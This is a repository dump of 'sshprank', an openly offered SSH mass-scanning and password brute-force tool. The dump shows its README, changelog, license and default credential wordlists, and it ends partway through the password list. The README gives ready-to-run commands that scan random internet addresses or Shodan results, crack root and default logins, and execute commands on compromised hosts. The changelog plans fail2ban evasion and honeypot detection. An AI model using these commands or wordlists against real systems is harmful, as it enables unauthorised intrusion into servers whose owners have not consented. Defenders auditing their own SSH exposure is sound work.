Repository: noptrix/sshprank
Branch: master
Commit: 057db39cac02
Files: 9
Total size: 72.7 KB
Directory structure:
gitextract_655iuklf/
├── .gitignore
├── README.md
├── docs/
│ ├── LICENSE
│ ├── TODO
│ └── requirements.txt
├── lists/
│ ├── combo.list
│ ├── pws.list
│ └── user.list
└── sshprank.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
.bash_history
build.sh
clean.sh
*.db
.DS_Store
.git
id_dsa
id_rsa
*.key
*.log
*.o
owned.txt
passwd
paused.conf
*.pyc
__pycache__
shadow
sshds.txt
sshprank_session.json
random_targets.txt
*.swn
*.swo
*.swp
tags
.vim.session
.zhistory
.zsh_history
================================================
FILE: README.md
================================================
# Description
A fast SSH mass-scanner, login cracker, banner grabber and password auth
checker tool using the python-masscan and shodan module.
# Usage
```
[ hacker@blackarch ~ ]$ sshprank -H
__ __
__________/ /_ ____ _________ _____ / /__
/ ___/ ___/ __ \/ __ \/ ___/ __ `/ __ \/ //_/
(__ |__ ) / / / /_/ / / / /_/ / / / / ,<
/____/____/_/ /_/ .___/_/ \__,_/_/ /_/_/|_|
/_/
--== [ by nullsecurity.net ] ==--
usage
sshprank <mode> [opts] | <misc>
mode options
-h <hosts[:ports]> - single host, cidr, ip range or host list file to
crack. multiple ports can be separated by comma,
e.g.: 127.0.0.1:22,222,2022 or 192.168.1.0/24:22
or 192.168.1.10-192.168.1.50:22 or 10.0.0.1-50
(default port: 22)
-m <opts> [-r <num>] - pass arbitrary masscan opts, portscan given hosts and
crack for logins. found sshd services will be saved to
'sshds.txt' in supported format for '-h' option and
even for '-b'. use '-r' for generating random ipv4
addresses rather than scanning given hosts. these
options are always on: '-sS -oX - --open'.
NOTE: if you intent to use the '--banner' option then
you need to specify '--source-ip <some_ipaddr>' which
is needed by masscan. better check masscan options!
-s <str;page;lim> - search ssh servers using shodan and crack logins.
see examples below. note: you need a better API key
than this one i offer in order to search more than 100
(= 1 page) ssh servers. so if you use this one use
'1' for 'page'.
-b <hosts[:ports]> - grab sshd banner from given target(s)
(default port: 22)
format: same as '-h' option
-p <hosts[:ports]> - check sshd(s) for password auth support
(default port: 22)
format: same as '-h' option
scan options
-r <num> - generate <num> random ipv4 addresses, check for open
sshd port and crack for login (only with -m option!)
credential options
-U <user|file> - single username or user list (default: root)
-P <pass|file> - single password or password list (default: root)
-c <file> - list of user:pass combination
brute options
-e - exclude host after first login was found. continue
with other hosts instead
-E - exit sshprank completely after first login was found
-z - shuffle target list randomly before cracking
(only with -h <file>). saves to 'random_targets.txt'
-Z <num> - random brute: pick random target + creds each attempt.
<num> total attempts, 0 = infinite (use with -h, -U/-P)
exec options
-C <cmd|file> - read commands from file (line by line) or execute a
single command on host if login was cracked
-N - do not output ssh command results
thread options
-x <num> - num threads for parallel host crack (default: 50)
-S <num> - num threads for parallel service crack (default: 20)
-X <num> - num threads for parallel login crack (default: 5)
-B <num> - num threads for parallel banner grabbing (default: 70)
timeout options
-T <sec> - num sec for auth and connect timeout (default: 5s)
-R <sec> - num sec for (banner) read timeout (default: 3s)
output options
-o <file> - write found logins to file. format:
<host>:<port>:<user>:<pass> (default: owned.txt)
-v - verbose mode. show found logins, sshds, etc.
(default: off)
misc options
-i <str> - spoof ssh client version string sent to sshd
(default: paramiko's default version string)
-w <file> - session file: if it exists, restore progress from
it (skip already-tried creds). on ctrl+c / -E,
state is auto-saved to ./sshprank_session.json
(or to <file> if -w was given). pass it back via
-w to resume.
-H - print help
-V - print version information
examples
# crack targets from a given list with user admin, pw-list and 20 host-threads
$ sshprank -h sshds.txt -U admin -P /tmp/passlist.txt -x 20
# first scan then crack from founds ssh services using 'root:admin'
$ sudo sshprank -m '-p22,2022 --rate 5000 --source-ip 192.168.13.37 \
--range 192.168.13.1/24' -P admin
# generate 1k random ipv4 addresses, then port-scan (tcp/22 here) with 1k p/s
# and crack logins using 'root:root' on found sshds
$ sudo sshprank -m '-p22 --rate=1000' -r 1000 -v
# search 50 ssh servers via shodan and crack logins using 'root:root' against
# found sshds
$ sshprank -s 'SSH;1;50'
# grab banners and output to file with format supported for '-h' option
$ sshprank -b hosts.txt > sshds2.txt
# check if sshds support password auth
$ sshprank -p sshds.txt -v
# shuffle target list and crack
$ sshprank -h sshds.txt -z -U root -P /tmp/passes.txt
# random brute: 500 random attempts from ip/user/pass lists
$ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -Z 500
# random brute infinite (ctrl+c to stop)
$ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -Z 0
# spoof ssh client version and crack
$ sshprank -h sshds.txt -i 'SSH-2.0-OpenSSH_8.9p1'
# check pwauth with spoofed version
$ sshprank -p sshds.txt -i 'SSH-2.0-OpenSSH_7.4' -v
# session file: ctrl+c, then run again to resume
$ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -w sess.json
```
# Author
noptrix
# Notes
- quick'n'dirty code
- sshprank is already packaged and available for [BlackArch
Linux](https://www.blackarch.org/)
- My master-branches are always stable; dev-branches are created for current
work.
- All of my public stuff you find are officially announced and published via
[nullsecurity.net](https://www.nullsecurity.net).
# License
Check docs/LICENSE.
# Disclaimer
We hereby emphasize, that the hacking related stuff found on
[nullsecurity.net](http://nullsecurity.net/) are only for education purposes.
We are not responsible for any damages. You are responsible for your own
actions.
================================================
FILE: docs/LICENSE
================================================
The MIT License (MIT)
Copyright (c) 2012-2025 noptrix
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: docs/TODO
================================================
===> 1.x.x
[ ] new feature
anti fail2ban
[ ] new feature
honeypot detection system
[ ] new featrue
sandbox detection
===> 1.7.0
[x] new feature
live progress display in quiet mode: '[+] cracking X/Y (XX.XX%)'
based on userlist*passlist + combolist; '[+] cracking X attempts' for
-Z 0 infinite mode
[x] new feature
session save/restore via -w <file>: skip already-tried creds on resume
after Ctrl+C / -E / completion. JSON file with iteration position per
(host, port) + excluded sets + sha256 hashes for lax mismatch warning
[x] update
cidr range support for -h/-p, e.g. '192.168.1.0/24:22,2022'.
expanded into a temp host list, auto-cleaned on exit
[x] update
ip range support for -h/-p, e.g. '192.168.1.10-192.168.1.50:22'
or short octet form '10.0.0.1-50'. expanded into a temp host list,
auto-cleaned on exit
[x] update
-b now accepts the same target formats as -h: single host, host
list file, cidr, ip range. help text simplified for -b/-p
[x] update
remote command exec hardened: each cmd in own try/except, stdin
shutdown_write to unblock stdin-reading commands
[x] update
check_pwauth probe creds 'nobody:x' -> '__sshprank_probe__:<rand>'
to avoid collisions with real accounts
[x] update
dropped dead imports (as_completed, ALL_COMPLETED, deque) and
redundant 'global' decls
[x] update
stabilized opts default types: targets {} (not []), targetlist
None (not [])
[x] update
cidr/range expansion capped at 1M hosts to prevent oom/disk dos on
typos like /0 or huge ranges
[x] update
sigterm now triggers session save (handler raises keyboardinterrupt)
[x] update
session auto-saves to ./sshprank_session.json on ctrl+c / -E even
without -w. -w is only required to resume. -p/-b/-Z modes opt-out
[x] bugfix
double ctrl+c during cleanup produced ugly threading shutdown
traceback - finally now ignores signals during cleanup, then
os._exit bypasses the threadpool join wait
[x] update
skip duplicate initial root:root attempt when -U/-P/-c list given;
_creds_per_port() count adjusted accordingly
[x] bugfix
-p with single host wrongly dispatched to crack_single() - reordered
main() dispatch by mode flag first
[x] bugfix
-i ssh-version spoof had no effect - now sets Transport._CLIENT_ID
(instance __init__ overwrites local_version)
[x] bugfix
malformed combo lines killed process - now warned and skipped
===> 1.6.1
[x] bugfix
false-positive logins on banner-echo sshds - added open_session() check
[x] bugfix
-e race losing first-login claim - fixed with lock + double-check
[x] bugfix
getopt dropped args after first non-option - switched to gnu_getopt +
reject leftover positional args
[x] bugfix
OOM on big target lists - bounded ThreadPool submission via
wait(FIRST_COMPLETED)
[x] bugfix
read_file() peaked 3-4x file size via mmap pipeline - replaced with
plain line iteration
[x] update
exec_command() hardcoded timeout=2 - now uses opts['ctimeout']
[x] bugfix
excluded[host] race/wipe in run_threads + crack_rand_brute - fixed
with setdefault
[x] bugfix
empty target lines produced ghost connects - skip them
[x] bugfix
log_targets() os._exit on write error killed process - now warn +
continue; also 'a+' -> 'a'
[x] update
bare except: in read_file/grab_banner/gen_ipv4addr - replaced with
specific exceptions
[x] update
crack_rand_brute() spawned pool per batch - one persistent pool with
bounded submission
[x] update
check_pwauth() re-imported paramiko.transport per call - hoisted to
module-level
[x] update
validate -x/-S/-X/-B (>=1), -r (>=1), -Z (>=0) - clear error instead
of silent no-op
===> 1.6.0
[x] update
updated lists/* (optimized user/pws/combo wordlists: added cloud/devops
accounts, modern pw patterns, cross-combos like root:toor, pi:raspberry)
[x] bugfix
combo list parsing used split(':') causing passwords containing ':' to be
truncated - fixed with split(':', 1)
[x] bugfix
read_file() used .split() which broke passwords/usernames containing
spaces - fixed with .splitlines()
[x] bugfix
-e option only excluded the specific port instead of the entire host -
fixed with separate excluded_hosts set for host-level exclusion
[x] bugfix
-N with single -C command never executed the command at all -
exec_command() was inside the cmd_no_out guard
[x] bugfix
log_targets() was not thread-safe - concurrent login finds could corrupt
the output file - fixed with threading lock
[x] bugfix
grab_banner() crashed on non-UTF-8 banner bytes - fixed with
errors='replace'
[x] bugfix
check_pwauth() leaked socket when Transport() failed - added sock.close()
to finally block
[x] bugfix
portscan() error message printed literal 'str(err)' instead of the actual
error string
[x] bugfix
shodan page/limit passed as strings instead of int to api.search()
[x] bugfix
crack_rand_brute() (-Z) ignored combolist (-c), silently fell back to
'root:root'
[x] bugfix
-C file mode sent commands with trailing newline to exec_command()
[x] bugfix
-C stderr output was never read/shown - remote errors were silently
swallowed
[x] bugfix
-C file mode variable 'line' shadowed by inner output loop - refactored to
use 'cmd' and 'out'/'err' loop vars
[x] new feature:
check sshd for password auth support (-p)
[x] update
renamed credential options: -u -> -U, -p -> -P
[x] update
dynamic kex/cipher/digest coverage via paramiko internals
[x] new feature
add option to spoof client (paramiko) ssh-version (-i)
===> 1.5.0
[x] randomize ipfile (sort as random ips.txt)
[x] random brute (take random ip from ips and random user:pass from user
files ) and brute it
[x] categorized help options (mode, scan, credential, brute, exec, thread,
timeout, output options)
[x] renamed 'modes' -> 'mode options', 'misc' -> 'misc options' for consistency
===> 1.4.4
[x] bugfix
port variable leak in run_threads() - inner executor was outside the port
loop, causing credential lists to only be tested against the last port
when multiple ports were specified
[x] bugfix
NameError on undefined 'futures' in run_threads() when -E was used -
removed dead code block (crack_login() already calls os._exit())
[x] bugfix
grab_banner() crash when create_connection() fails - s was unassigned in
finally block
[x] bugfix
publickey-only port exclusion was gated behind verbose mode, now always
applied
[x] update
uncommented SSHException and Exception logging (verbose mode)
===> 1.4.3
[x] bugfix
fixed Python's "SyntaxWarning"
[x] update
updated COPYRIGHT info
===> 1.4.2
[x] bugfix
banner option
[x] update
updated lists/*
===> 1.4.1
[x] update
updated help() and README.md (old options were present)
===> 1.4.0
[x] update
updated lists/* (added more default passwords and usernames)
[x] new feature
add 'exclude host after first login was found' option (-e)
[x] new feature
add 'exit sshprank after first login was found' option (-E)
[x] update
swap options: '-C' -> '-c'
[x] update
merge options: '-l' -> '-h', '-U' -> '-u', '-P' -> '-p'
===> 1.3.5
[x] update
remove pf.close() call
===> 1.3.4
[x] update
remove open() calls
===> 1.3.3
[x] update
use mmap to read wordlist files
===> 1.3.2
[x] update
decrease default hosts threads num
===> 1.3.1
[x] bugfix
close file descriptor...
===> 1.3.0
[x] update
updated default thread nums for host, service and login.
[x] new feature
add new option to not output ssh command results ('-N')
[x] new feature
read and run commands from file on target (github: #5)
[x] bugfix
fix high memory usage (github: #9)
===> 1.2.3
[x] update
increase default auth and connect timeout
[x] update
use 'info' for 'saved found sshds.txt' rather than 'good'
[x] update
use status() for shodan_search()
[x] update
updated short description in script file
===> 1.2.2
[x] update
call log() only in one place after AuthenticationException occurs
[x] update
skip further actions if targets file could not be read ('-l' option)
===> 1.2.1
[x] update
only print exclusion infos in verbose mode
[x] update
use spin() output for scanning and cracking targets
[x] update
update wordings in the examples
===> 1.2.0
[x] update
exclude targets if service is not running or pubkey auth only is supported
===> 1.1.3
[x] update
print small info if login found (for non-verbose mode)
[x] new feature
add uid (root) check for '-m' option
[x] update
change wordings a bit
===> 1.1.0
[x] bugfix
fix color codes
[x] update
use new python format style (f'{foo}')
[x] update
add leet and important ascii banner
===> 1.0.0
[x] update
mark stable + release
===> 0.0.3
[x] new feature
implement remote ssh command exec
[x] new feature
implement random target cracking
[x] new feature
implement read timeout for banner grabbing
[x] update
print found login only if '-v' was chosen
[x] update
os exit on found login
[x] update
remove colorama bullshit
[x] bugfix
fix banner grab issue (non-banner sshds, e.g. 'open' only were ignored)
[x] update
by default don't use masscan's --banner option
===> 0.0.2
[x] update
use deque() rather than lists for MT
===> 0.0.1
[x] initial
initial release
================================================
FILE: docs/requirements.txt
================================================
paramiko
python-masscan
shodan
================================================
FILE: lists/combo.list
================================================
accounting:accounting
admin:1234
admin:12345
admin:123456
admin:admin
admin:admin@123
admin:admin123
admin:password
ansible:ansible
apache:apache
backup:backup
centos:centos
debian:debian
default:default
deploy:deploy
dev:dev
developer:developer
ec2-user:ec2-user
elastic:elastic
ftp:ftp
ftpuser:ftpuser
fwadmin:fwadmin
git:git
guest01:guest01
guest1:guest1
guest:guest
hadoop:hadoop
http:http
info:info
installer:installer
jenkins:jenkins
login:login
mailadmin:mailadmin
mail:mail
maintainer:maintainer
manager:manager
minecraft:minecraft
monitor:monitor
mysql:mysql
nagios:nagios
nginx:nginx
nobody:nobody
none:none
operator:operator
op:op
oracle:oracle
pi:pi
pi:raspberry
postgres:postgres
power:power
readonly:readonly
root:1234
root:12345
root:123456
root:admin
root:password
root:root
root:toor
setup:setup
ssh:ssh
student:student
superadmin:superadmin
superuser:superuser
support:support
sysadmin:sysadmin
sys:sys
system:system
teacher:teacher
tester:tester
test:test
test:test123
tomcat:tomcat
toor:root
toor:toor
ubuntu:ubuntu
user01:user01
user1:user1
user:password
user:user
vagrant:vagrant
web01:web01
web1:web1
webadmin:webadmin
webmaster:webmaster
web:web
www-data:www-data
www:www
zabbix:zabbix
================================================
FILE: lists/pws.list
================================================
!!!!
....
$ummer!
$ummer#
$ummer.
$ummer?
$ummer@
$ummer1
$ummer1!
$ummer1?
$ummer12
$ummer12!
$ummer12?
$ummer123
$ummer123!
$ummer123?
$ummer2
$ummer2!
$ummer2?
$ummer321
$ummer321!
$ummer321?
0000
000000
00000000
1$ummer
1$ummer!
1$ummer?
1111
111111
12$ummer
12$ummer!
12$ummer?
123$ummer
123$ummer!
123$ummer?
1234
12345
123456
1234567
12345678
123456789
1234567890
1234root
1234test
123admin
123autumn
123autumn!
123autumn?
123Autumn
123Autumn!
123Autumn?
123AUTUMN
123AUTUMN!
123AUTUMN?
123demo
123dev
123fall
123fall!
123fall?
123Fall
123Fall!
123Fall?
123FALL
123FALL!
123FALL?
123f@ll
123f@ll!
123f@ll?
123F@ll
123F@ll!
123F@ll?
123login
123manager
123mysql
123none
123pa$$word
123pa$$word!
123pa$$word?
123Pa$$word
123Pa$$word!
123Pa$$word?
123pass
123passw0rd
123passw0rd!
123passw0rd?
123Passw0rd
123Passw0rd!
123Passw0rd?
123password
123password!
123password?
123Password
123Password!
123Password?
123PASSWORD
123PASSWORD!
123PASSWORD?
123postgres
123p@ssword
123p@ssword!
123p@ssword?
123P@ssword
123P@ssword!
123P@ssword?
123root
123summer
123summer!
123summer?
123Summer
123Summer!
123Summer?
123SUMMER
123SUMMER!
123SUMMER?
123sys
123system
123test
123tomcat
123toor
123user
123@utumn
123@utumn!
123@utumn?
123web
123winter
123winter!
123winter?
123Winter
123Winter!
123Winter?
123WINTER
123WINTER!
123WINTER?
123www
12autumn
12autumn!
12autumn?
12Autumn
12Autumn!
12Autumn?
12AUTUMN
12AUTUMN!
12AUTUMN?
12fall
12fall!
12fall?
12Fall
12Fall!
12Fall?
12FALL
12FALL!
12FALL?
12f@ll
12f@ll!
12f@ll?
12F@ll
12F@ll!
12F@ll?
12pa$$word
12pa$$word!
12pa$$word?
12Pa$$word
12Pa$$word!
12Pa$$word?
12passw0rd
12passw0rd!
12passw0rd?
12Passw0rd
12Passw0rd!
12Passw0rd?
12password
12password!
12password?
12Password
12Password!
12Password?
12PASSWORD
12PASSWORD!
12PASSWORD?
12p@ssword
12p@ssword!
12p@ssword?
12P@ssword
12P@ssword!
12P@ssword?
12summer
12summer!
12summer?
12Summer
12Summer!
12Summer?
12SUMMER
12SUMMER!
12SUMMER?
12@utumn
12@utumn!
12@utumn?
12winter
12winter!
12winter?
12Winter
12Winter!
12Winter?
12WINTER
12WINTER!
12WINTER?
1autumn
1autumn!
1autumn?
1Autumn
1Autumn!
1Autumn?
1AUTUMN
1AUTUMN!
1AUTUMN?
1fall
1fall!
1fall?
1Fall
1Fall!
1Fall?
1FALL
1FALL!
1FALL?
1f@ll
1f@ll!
1f@ll?
1F@ll
1F@ll!
1F@ll?
1pa$$word
1pa$$word!
1pa$$word?
1Pa$$word
1Pa$$word!
1Pa$$word?
1pa$$word1
1Pa$$word1
1pa$$word2
1Pa$$word2
1pa$$word3
1Pa$$word3
1passw0rd
1passw0rd!
1passw0rd?
1Passw0rd
1Passw0rd!
1Passw0rd?
1passw0rd1
1Passw0rd1
1passw0rd2
1Passw0rd2
1passw0rd3
1Passw0rd3
1password
1password!
1password?
1Password
1Password!
1Password?
1PASSWORD
1PASSWORD!
1PASSWORD?
1password1
1Password1
1PASSWORD1
1password2
1Password2
1PASSWORD2
1password3
1Password3
1PASSWORD3
1p@ssword
1p@ssword!
1p@ssword?
1P@ssword
1P@ssword!
1P@ssword?
1p@ssword1
1P@ssword1
1p@ssword2
1P@ssword2
1p@ssword3
1P@ssword3
1q2w3e4r
1q2w3e4r!
1summer
1summer!
1summer?
1Summer
1Summer!
1Summer?
1SUMMER
1SUMMER!
1SUMMER?
1@utumn
1@utumn!
1@utumn?
1winter
1winter!
1winter?
1Winter
1Winter!
1Winter?
1WINTER
1WINTER!
1WINTER?
2$ummer
2$ummer!
2$ummer?
2020
2021
2022
2023
2024
2025
2222
2autumn
2autumn!
2autumn?
2Autumn
2Autumn!
2Autumn?
2AUTUMN
2AUTUMN!
2AUTUMN?
2fall
2fall!
2fall?
2Fall
2Fall!
2Fall?
2FALL
2FALL!
2FALL?
2f@ll
2f@ll!
2f@ll?
2F@ll
2F@ll!
2F@ll?
2pa$$word
2pa$$word!
2pa$$word?
2Pa$$word
2Pa$$word!
2Pa$$word?
2pa$$word1
2Pa$$word1
2pa$$word2
2Pa$$word2
2pa$$word3
2Pa$$word3
2passw0rd
2passw0rd!
2passw0rd?
2Passw0rd
2Passw0rd!
2Passw0rd?
2passw0rd1
2Passw0rd1
2passw0rd2
2Passw0rd2
2passw0rd3
2Passw0rd3
2password
2password!
2password?
2Password
2Password!
2Password?
2PASSWORD
2PASSWORD!
2PASSWORD?
2password1
2Password1
2PASSWORD1
2password2
2Password2
2PASSWORD2
2password3
2Password3
2PASSWORD3
2p@ssword
2p@ssword!
2p@ssword?
2P@ssword
2P@ssword!
2P@ssword?
2p@ssword1
2P@ssword1
2p@ssword2
2P@ssword2
2p@ssword3
2P@ssword3
2summer
2summer!
2summer?
2Summer
2Summer!
2Summer?
2SUMMER
2SUMMER!
2SUMMER?
2@utumn
2@utumn!
2@utumn?
2winter
2winter!
2winter?
2Winter
2Winter!
2Winter?
2WINTER
2WINTER!
2WINTER?
321$ummer
321$ummer!
321$ummer?
321autumn
321autumn!
321autumn?
321Autumn
321Autumn!
321Autumn?
321AUTUMN
321AUTUMN!
321AUTUMN?
321fall
321fall!
321fall?
321Fall
321Fall!
321Fall?
321FALL
321FALL!
321FALL?
321f@ll
321f@ll!
321f@ll?
321F@ll
321F@ll!
321F@ll?
321pa$$word
321pa$$word!
321pa$$word?
321Pa$$word
321Pa$$word!
321Pa$$word?
321passw0rd
321passw0rd!
321passw0rd?
321Passw0rd
321Passw0rd!
321Passw0rd?
321password
321password!
321password?
321Password
321Password!
321Password?
321PASSWORD
321PASSWORD!
321PASSWORD?
321p@ssword
321p@ssword!
321p@ssword?
321P@ssword
321P@ssword!
321P@ssword?
321summer
321summer!
321summer?
321Summer
321Summer!
321Summer?
321SUMMER
321SUMMER!
321SUMMER?
321@utumn
321@utumn!
321@utumn?
321winter
321winter!
321winter?
321Winter
321Winter!
321Winter?
321WINTER
321WINTER!
321WINTER?
3333
3pa$$word
3Pa$$word
3pa$$word1
3Pa$$word1
3pa$$word2
3Pa$$word2
3pa$$word3
3Pa$$word3
3passw0rd
3Passw0rd
3passw0rd1
3Passw0rd1
3passw0rd2
3Passw0rd2
3passw0rd3
3Passw0rd3
3password
3Password
3PASSWORD
3password1
3Password1
3PASSWORD1
3password2
3Password2
3PASSWORD2
3password3
3Password3
3PASSWORD3
3p@ssword
3P@ssword
3p@ssword1
3P@ssword1
3p@ssword2
3P@ssword2
3p@ssword3
3P@ssword3
4444
5555
654321
6666
7777
8888
9999
abc123
accounting
admin
admin@123
admin123
Admin123
Admin123!
admin2023
admin2024
admin2025
ansible
apache
asdf
asdf123
asdf1234
asdfg
asdfg1234
asdfg12345
autumn
autumn!
autumn#
autumn.
autumn?
autumn@
Autumn
Autumn!
Autumn#
Autumn.
Autumn?
Autumn@
AUTUMN!
AUTUMN#
AUTUMN.
AUTUMN?
AUTUMN@
autumn1
autumn1!
autumn1?
Autumn1
Autumn1!
Autumn1?
AUTUMN1
AUTUMN1!
AUTUMN1?
autumn12
autumn12!
autumn12?
Autumn12
Autumn12!
Autumn12?
AUTUMN12
AUTUMN12!
AUTUMN12?
autumn123
autumn123!
autumn123?
Autumn123
Autumn123!
Autumn123?
AUTUMN123
AUTUMN123!
AUTUMN123?
autumn2
autumn2!
autumn2?
Autumn2
Autumn2!
Autumn2?
AUTUMN2
AUTUMN2!
AUTUMN2?
autumn321
autumn321!
autumn321?
Autumn321
Autumn321!
Autumn321?
AUTUMN321
AUTUMN321!
AUTUMN321?
backup
black
black1
black1!
black123
black123!
blue
blue1
blue1!
blue123
blue123!
changeme
changeme1
changeme123
Changeme123!
debian
default
demo
demo123
demos
deploy
dev
dev123
dragon
elastic
fall!
fall#
fall.
fall?
fall@
Fall!
Fall#
Fall.
Fall?
Fall@
FALL!
FALL#
FALL.
FALL?
FALL@
fall1
fall1!
fall1?
Fall1
Fall1!
Fall1?
FALL1
FALL1!
FALL1?
fall12
fall12!
fall12?
Fall12
Fall12!
Fall12?
FALL12
FALL12!
FALL12?
fall123
fall123!
fall123?
Fall123
Fall123!
Fall123?
FALL123
FALL123!
FALL123?
fall2
fall2!
fall2?
Fall2
Fall2!
Fall2?
FALL2
FALL2!
FALL2?
fall321
fall321!
fall321?
Fall321
Fall321!
Fall321?
FALL321
FALL321!
FALL321?
f@ll!
f@ll#
f@ll.
f@ll?
f@ll@
F@ll!
F@ll#
F@ll.
F@ll?
F@ll@
f@ll1
f@ll1!
f@ll1?
F@ll1
F@ll1!
F@ll1?
f@ll12
f@ll12!
f@ll12?
F@ll12
F@ll12!
F@ll12?
f@ll123
f@ll123!
f@ll123?
F@ll123
F@ll123!
F@ll123?
f@ll2
f@ll2!
f@ll2?
F@ll2
F@ll2!
F@ll2?
f@ll321
f@ll321!
f@ll321?
F@ll321
F@ll321!
F@ll321?
ftp
ftpuser
fuck!
fuck1
fuck1!
Fuck1
fuck123!
Fuck123
Fuck123!
fuckoff
fuckoff!
FuckOff
fuckoff1
fuckoff1!
fuckoff123
fuckoff123!
fuckyou
fuckyou!
FuckYou
FuckYou!
FUCKYOU!
FUCKYOU1!
FuckYou123!
FUCKYOU123
fwadmin
git
gold
gold1
gold1!
gold123
gold123!
green
guest
guest01
guest1
hadoop
http
iloveyou
installer
jenkins
letmein
linux
Linux
linux123
login
login!
login123
login1234
mail
mailadmin
maintainer
manager
manager123
master
Master
master1
master1!
Master1
Master1!
master123
master123!
Master123
Master123!
minecraft
monitor
monkey
mysql
mysql123
nagios
nginx
nobody
none
none123
op
operator
oracle
orange
orange1
orange1!
orange123
orange123!
P@$$w0rd
P@$$word
pa$$word
pa$$word!
pa$$word#
pa$$word.
pa$$word?
pa$$word@
Pa$$word
Pa$$word!
Pa$$word#
Pa$$word.
Pa$$word?
Pa$$word@
pa$$word1
pa$$word1!
pa$$word1?
Pa$$word1
Pa$$word1!
Pa$$word1?
pa$$word12
pa$$word12!
pa$$word12?
Pa$$word12
Pa$$word12!
Pa$$word12?
pa$$word123
pa$$word123!
pa$$word123?
Pa$$word123
Pa$$word123!
Pa$$word123?
pa$$word2
pa$$word2!
pa$$word2?
Pa$$word2
Pa$$word2!
Pa$$word2?
pa$$word3
Pa$$word3
pa$$word321
pa$$word321!
pa$$word321?
Pa$$word321
Pa$$word321!
Pa$$word321?
pass!
PASS
pass@123
pass123
Pass123!
PASS123
pass1234
passw0rd
passw0rd!
passw0rd#
passw0rd.
passw0rd?
passw0rd@
Passw0rd
Passw0rd!
Passw0rd#
Passw0rd.
Passw0rd?
Passw0rd@
passw0rd1
passw0rd1!
passw0rd1?
Passw0rd1
Passw0rd1!
Passw0rd1?
passw0rd12
passw0rd12!
passw0rd12?
Passw0rd12
Passw0rd12!
Passw0rd12?
passw0rd123
passw0rd123!
passw0rd123?
Passw0rd123
Passw0rd123!
Passw0rd123?
passw0rd2
passw0rd2!
passw0rd2?
Passw0rd2
Passw0rd2!
Passw0rd2?
passw0rd3
Passw0rd3
passw0rd321
passw0rd321!
passw0rd321?
Passw0rd321
Passw0rd321!
Passw0rd321?
password
password!
password#
password.
password?
password@
Password
Password!
Password#
Password.
Password?
Password@
PassWord
PASSWORD
PASSWORD!
PASSWORD#
PASSWORD.
PASSWORD?
PASSWORD@
password1
password1!
password1?
Password1
Password1!
Password1?
PASSWORD1
PASSWORD1!
PASSWORD1?
password12
password12!
password12?
Password12
Password12!
Password12?
PASSWORD12
PASSWORD12!
PASSWORD12?
password123
password123!
password123?
Password123
Password123!
Password123?
PASSWORD123
PASSWORD123!
PASSWORD123?
password2
password2!
password2?
Password2
Password2!
Password2?
PASSWORD2
PASSWORD2!
PASSWORD2?
password3
Password3
PASSWORD3
password321
password321!
password321?
Password321
Password321!
Password321?
PASSWORD321
PASSWORD321!
PASSWORD321?
pi
pink
pink1
pink1!
pink123
pink123!
postgres
postgres123
power
power1
power1!
power123
power123!
P@ssw0rd
p@ssword
p@ssword!
p@ssword#
p@ssword.
p@ssword?
p@ssword@
P@ssword
P@ssword!
P@ssword#
P@ssword.
P@ssword?
P@ssword@
p@ssword1
p@ssword1!
p@ssword1?
P@ssword1
P@ssword1!
P@ssword1?
p@ssword12
p@ssword12!
p@ssword12?
P@ssword12
P@ssword12!
P@ssword12?
p@ssword123
p@ssword123!
p@ssword123?
P@ssword123
P@ssword123!
P@ssword123?
p@ssword2
p@ssword2!
p@ssword2?
P@ssword2
P@ssword2!
P@ssword2?
p@ssword3
P@ssword3
p@ssword321
p@ssword321!
p@ssword321?
P@ssword321
P@ssword321!
P@ssword321?
purple
purple1
purple1!
purple123
purple123!
pw123
pw123!
PW123
PW123!
pw1234
PW1234
PW1234!
pwd
pwd1
pwd1!
Pwd1!
pwd123
pwd123!
pwer1234!
qwerty
qwerty123
qwerty1234
qwerty12345
qwertz
qwertz123
qwertz1234
qwertz12345
raspberry
readonly
red
red1
red1!
red123
red123!
root
ROOT
root123
ROOT123
root1234
root2024
setup
setup1
setup1!
setup123
silver
spring
Spring
SPRING
spring1
spring1!
Spring1
spring123
spring123!
Spring123
Spring123!
ssh
ssh123
ssh123!
student
summer
summer!
summer#
summer.
summer?
summer@
Summer!
Summer#
Summer.
Summer?
Summer@
SUMMER
SUMMER!
SUMMER#
SUMMER.
SUMMER?
SUMMER@
summer1
summer1!
summer1?
Summer1
Summer1!
Summer1?
SUMMER1
SUMMER1!
SUMMER1?
summer12
summer12!
summer12?
Summer12
Summer12!
Summer12?
SUMMER12
SUMMER12!
SUMMER12?
summer123
summer123!
summer123?
Summer123
Summer123!
Summer123?
SUMMER123
SUMMER123!
SUMMER123?
summer1234
Summer1234
summer2
summer2!
summer2?
Summer2
Summer2!
Summer2?
SUMMER2
SUMMER2!
SUMMER2?
summer321
summer321!
summer321?
Summer321
Summer321!
Summer321?
SUMMER321
SUMMER321!
SUMMER321?
superadmin
superuser
support
sys
sys1
sys1!
sys123
sysadmin
system
system1
system1!
system123
System123
System123!
teacher
test
test1
test1!
test123
test123!
test1234
test2024
tester
tester1
tester1!
tester123
tester1234
testtest
TestTest
tomcat
tomcat123
toor
toor123
ubuntu
user
user01
user1
user1!
user123
@utumn!
@utumn#
@utumn.
@utumn?
@utumn@
@utumn1
@utumn1!
@utumn1?
@utumn12
@utumn12!
@utumn12?
@utumn123
@utumn123!
@utumn123?
@utumn2
@utumn2!
@utumn2?
@utumn321
